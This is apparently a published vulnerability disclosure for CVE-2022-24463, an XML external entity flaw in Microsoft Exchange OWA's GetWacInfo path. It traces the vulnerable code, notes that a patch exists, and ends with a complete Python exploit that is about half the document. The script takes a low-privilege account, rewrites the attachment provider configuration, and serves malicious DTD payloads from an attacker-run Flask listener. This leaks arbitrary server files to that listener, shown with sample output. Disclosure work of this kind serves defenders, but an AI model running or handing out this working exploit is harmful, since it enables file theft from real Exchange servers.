TL;DR
Find out how a flaw in Microsoft Exchange Server allows remote attackers to disclose sensitive information from the Exchange server.
Vulnerability Summary
A flaw exists within the OneDriveProUtilities
class. The issue results from the unsafe usage of the XmlDocument
XML processor. An attacker which has control over a low-privilege user account can leverage this vulnerability to send arbitrary requests and exfiltrate files from the target server.
CVE
CVE-2022-24463
Credit
An independent security researcher, Alex Birnberg of Zymo Security, has reported this to the SSD Secure Disclosure program.
Affected Versions
Vendor Response
Microsoft has released patches for the relevant supported software versions: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24463
Vulnerability Analysis
The specific flaw exists within the OneDriveProUtilities
class. The issue results from the unsafe usage of the XmlDocument
XML processor. An attacker which has control over a low-privilege user account can leverage this vulnerability to send arbitrary requests and exfiltrate files from the target server.
Details
The affected class can be found in the Microsoft.Exchange.Clients.Owa2.Server
assembly, as Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProUtilities
. The method GetWacUrl
makes use of the XmlDocument
XML processor to parse [1] the response of an http request that is made to an attacker controlled server.
internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled) { string actionOrAppId = isEdit ? "2" : "4"; if (isSPGetWacTokenEnabled) { actionOrAppId = (isEdit ? "1" : "0"); } string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl([email protected], requestedAction={2})[email protected]='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken([email protected], wopiAction={2})[email protected]='{1}'"; WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT"); XmlDocument xmlDocument = new XmlDocument(); OneDriveProUtilities.EndBudget(callContext); xmlDocument.Load(tokenRequestWebResponse.GetResponseStream()); // 1 // ... }
The GetWacUrl
method is called by a wrapper method also named GetWacUrl
.
internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager) { bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled; WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled); // 2 string text = isEdit ? "OwaEdit" : "OwaView"; return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[] { wacUrl.BaseUrl, wacUrl.Token, wacUrl.TokenTtl, text }); }
The GetWacUrl
method is called [3] by a method named CreateWacAttachmentTypeForReferenceAttachmentAsync
, if the webServiceUrl
paremeter is set and if the wacAction
parameter is not an authenticated wopi action.
protected static async Task<WacAttachmentType> CreateWacAttachmentTypeForReferenceAttachmentAsync(UserContext userContext, ICallContext callContext, AttachmentIdType attachmentIdType, string webServiceUrl, string contentUrl, WacAction wacAction, bool isInDraft, string providerType, string appId, AttachmentPermissionLevel contentUrlType, bool shouldAclUser) { bool isEdit = GetWacInfoBase.IsEditAction(wacAction); bool flag = GetWacInfoBase.IsAuthenticatedWopi(wacAction); // ... else if (!string.IsNullOrEmpty(webServiceUrl)) { if (!flag) { // ... text = OneDriveProUtilities.GetWacUrl(callContext, userContext.LogonIdentity, webServiceUrl, contentUrl, isEdit, userContext.FeaturesManager); // 3 } // ... }
This method is called [4] by the GetResultForReferenceAttachmentAsync
method of the GetWacInfo
class and OWA action.
private static async Task<WacAttachmentType> GetResultForReferenceAttachmentAsync(ICallContext callContext, UserContext userContext, string endpointUrl, string contentUrl, string providerType, WacAction wacAction, RequestDetailsLogger logger, AttachmentPermissionLevel contentUrlType, bool shouldAclUser) { GetWacInfoBase.LogReferenceAttachmentProperties(logger, endpointUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentServiceUrl, contentUrl, GetWacAttachmentInfoMetadata.ResultReferenceAttachmentUrl); return await GetWacInfoBase.CreateWacAttachmentTypeForReferenceAttachmentAsync(userContext, callContext, null, endpointUrl, contentUrl, wacAction, true, providerType, null, contentUrlType, shouldAclUser); // 4 }
The requested provider is first obtained [5] from the user request then used by the GetResultForReferenceAttachmentAsync
method to obtain the endpoint url which will be used [6] for the vulnerable request.
private static async Task<WacAttachmentType> ExecuteAsync(UserContext userContext, ICallContext callContext, string url, AttachmentDataProviderType providerType, WacAction wacAction, bool shouldAclUser) { // ... AttachmentDataProvider provider = userContext.AttachmentDataProviderManager.GetProvider(callContext, providerType); // 5 // ... wacAttachmentType = await GetWacInfo.GetResultForReferenceAttachmentAsync(callContext, userContext, GetWacInfo.GetEndpointUrl(url, attachmentPermissionLevel, provider), url, providerType.ToString(), wacAction, logger, attachmentPermissionLevel, shouldAclUser); // 6 // ... return wacAttachmentType; }
The attachment providers are defined in the OWA.AttachmentDataProvider
user configuration, thus being fully modifiable by an attacker. By default, only the MailboxAttachmentDataProvider
provider is defined however the provider configuration can be modified to include the OneDriveProAttachmentDataProvider
provider, which is disabled by default. For example, the user configuration for enabling the OneDriveProAttachmentDataProvider
provider will look similar to the one below.
<AttachmentDataProvider> <entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" DocumentLibrary="Library" id="465b4e63-54c2-49d6-a99b-cab37fb799e3" type="OneDrivePro" displayName="OneDrivePro" isThirdPartyProvider="False" ></entry> </AttachmentDataProvider>
The user configuration is loaded into the user context only once, when it’s first used. A different user configuration may be loaded when the user context is destroyed, i.e. on logout-login.
The ExecuteAsync
method is called [7] by the DoInternalExecuteAsync
method.
private static async Task<WacAttachmentType> DoInternalExecuteAsync(ICallContext callContext, string url, bool isEdit, AttachmentDataProviderType providerType, bool shouldAclUser) { UserContext userContext = UserContextManager.GetUserContext(callContext.HttpContext, callContext.EffectiveCaller, true); // ... WacAction wacAction = isEdit ? WacAction.Edit : WacAction.View; return await GetWacInfo.ExecuteAsync(userContext, callContext, url, providerType, wacAction, shouldAclUser); // 7 }
The DoInternalExecuteAsync
method is called by the InternalExecute
method. This method is called whenever the GetWacInfo
OWA action is called.
protected override async Task<WacAttachmentType> InternalExecute() { return await GetWacInfo.DoInternalExecuteAsync(base.CallContext, this.url, base.IsEdit, this.providerType, this.shouldGrantAccess); // 8 }
Since OWA actions can be called with arbitrary parameters by any low-privilege user, the vulnerable code path can be triggered thus resulting XML external entity processing vulnerability.
Exploit
The exploit program provided requires five arguments, url
being the target’s URL, username
and password
being the credentials of the user, the listener
being the IP of the attacker’s machine, and file
being the path to the file to be leaked. The exploit program runs a http server to deliver the payload of the exploit and needs to be publicly accessible. When the exploit completes execution, the payload will have been triggered. The exploit will save the leaked file to the current directory. In this case, the exploit saves the C:/Windows/win.ini
file as a file with the name C__Windows_win.ini
in the current directory. The leaked file is also printed to the screen.
$ ./exploit.py --url https://exchange.local --username user --password p4ssw0rd. --listener 192.168.1.102 --file C:/Windows/win.ini [*] Setting up... [*] Triggering... [*] Saving file "C:/Windows/win.ini"... [*] Cleaning up... [*] Done. ############################################## ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 ##############################################
#!/usr/bin/env python3 import os import re import sys import json import time import base64 import logging import urllib3 import requests import argparse import textwrap import threading from requests_ntlm2 import HttpNtlmAuth from urllib.parse import unquote from flask import Flask, request, Response class Exploit: def __init__(self, args): self.url = args.url self.username = args.username self.password = args.password self.file = args.file self.options = { 'host': '0.0.0.0', 'port': 80, 'listener': args.listener } self.s = requests.Session() self.s.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' } self.s.verify = False self.s.auth = HttpNtlmAuth(self.username, self.password) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def trigger(self): print('[*] Setting up...') self.setup() print('[*] Triggering...') self.listener() def setup(self): xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" DocumentLibrary="Library" id="465b4e63-54c2-49d6-a99b-cab37fb799e3" type="OneDrivePro" displayName="OneDrivePro" isThirdPartyProvider="False"></entry></AttachmentDataProvider>' xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1') data = textwrap.dedent('''\ <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <soap:Header> <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion> </soap:Header> <soap:Body> <m:UpdateUserConfiguration> <m:UserConfiguration> <t:UserConfigurationName Name="OWA.AttachmentDataProvider"> <t:DistinguishedFolderId Id="root"/> </t:UserConfigurationName> <t:XmlData>{}</t:XmlData> </m:UserConfiguration> </m:UpdateUserConfiguration> </soap:Body> </soap:Envelope> '''.format(xmldata)) headers = { 'Content-type': 'text/xml; charset=utf-8' } r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data) if r.status_code != 500: return True return False def xxe(self): time.sleep(10) # Authenticate data = { 'destination': '{}/owa/'.format(self.url), 'flags': '4', 'forcedownlevel': '0', 'username': self.username, 'password': self.password, 'passwordText': '', 'isUtf8': '1' } r = self.s.post('{}/owa/auth.owa'.format(self.url), data=data, allow_redirects=False) if r.status_code != 302 or r.headers['Location'].find('/owa/auth/logon.aspx') != -1: return False self.s.get('{}/ecp/'.format(self.url)) if 'msExchEcpCanary' not in self.s.cookies: return False self.csrf_token = self.s.cookies['msExchEcpCanary'] # Trigger XXE headers = { 'Action': 'GetWacInfo', 'X-OWA-CANARY': self.csrf_token, 'Content-type': 'application/json; charset=utf-8' } data = { 'request': { '__type': 'GetWacInfoRequest:#Exchange', 'Url': 'http://{}:{}/'.format(self.options['listener'], self.options['port']) } } self.s.post('{}/owa/service.svc'.format(self.url), headers=headers, data=json.dumps(data)) def listener(self): def leak(): content = unquote(request.query_string) if content.startswith('<![CDATA['): content = content[9:] if content.endswith(']]>'): content = content[:-3] def end(): time.sleep(5) print('[*] Cleaning up...') self.cleanup() print('[*] Done.') print('') print('##############################################') print('') print(content) print('') print('##############################################') os._exit(0) filename = re.sub('[^A-Za-z0-9\.]', '_', self.file) print('[*] Saving file "{}"...'.format(self.file, filename)) with open(filename, 'w') as f: f.write(content) threading.Thread(target=end).start() return Response('') def contextinfo(): content = textwrap.dedent('''\ <?xml version="1.0" encoding="UTF-8"?> <d:GetContextWebInformation xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices"> <d:WebFullUrl>http://{}:{}</d:WebFullUrl> </d:GetContextWebInformation> '''.format(self.options['listener'], self.options['port'])) return Response(content, mimetype='text/xml') def dtd(): content = textwrap.dedent('''\ <!ENTITY % payload "%start;%stuff;%end;"> <!ENTITY % param1 '<!ENTITY % external SYSTEM "http://{}:{}/_api?%payload;">'> %param1; %external; '''.format(self.options['listener'], self.options['port'])) return Response(content) def payload(path): content = textwrap.dedent('''\ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % stuff SYSTEM "file:///{}"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://{}:{}/_api/cim20.dtd"> %dtd; ]> <root></root> '''.format(self.file, self.options['listener'], self.options['port'])) return Response(content, mimetype='text/xml') app = Flask(__name__) app.add_url_rule('/_api/contextinfo', 'contextinfo', contextinfo, methods=['POST']) app.add_url_rule('/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path>', 'payload', payload) app.add_url_rule('/_api/cim20.dtd', 'dtd', dtd, methods=['GET']) app.add_url_rule('/_api', 'leak', leak, methods=['GET']) logging.getLogger('werkzeug').setLevel(logging.ERROR) cli = sys.modules['flask.cli'] cli.show_server_banner = lambda *x: None threading.Thread(target=self.xxe).start() app.run(host=self.options['host'], port=self.options['port']) def cleanup(self): xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.MailboxAttachmentDataProvider" id="c7b0c1e5-345f-4725-bc1f-ec032984899d" type="Mailbox" displayName="Recent attachments" isThirdPartyProvider="False"></entry></AttachmentDataProvider>' xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1') data = textwrap.dedent('''\ <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <soap:Header> <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion> </soap:Header> <soap:Body> <m:UpdateUserConfiguration> <m:UserConfiguration> <t:UserConfigurationName Name="OWA.AttachmentDataProvider"> <t:DistinguishedFolderId Id="root"/> </t:UserConfigurationName> <t:XmlData>{}</t:XmlData> </m:UserConfiguration> </m:UpdateUserConfiguration> </soap:Body> </soap:Envelope> '''.format(xmldata)) headers = { 'Content-type': 'text/xml; charset=utf-8' } r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data) if r.status_code != 500: return True return False if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--url', help='Target URL', required=True, metavar='') parser.add_argument('--username', help='Username of low privilege user', required=True, metavar='') parser.add_argument('--password', help='Password of low privilege user', required=True, metavar='') parser.add_argument('--listener', help='Listener IP', required=True, metavar='') parser.add_argument('--file', help='File to leak', required=True, metavar='') exploit = Exploit(parser.parse_args()) exploit.trigger()
Demo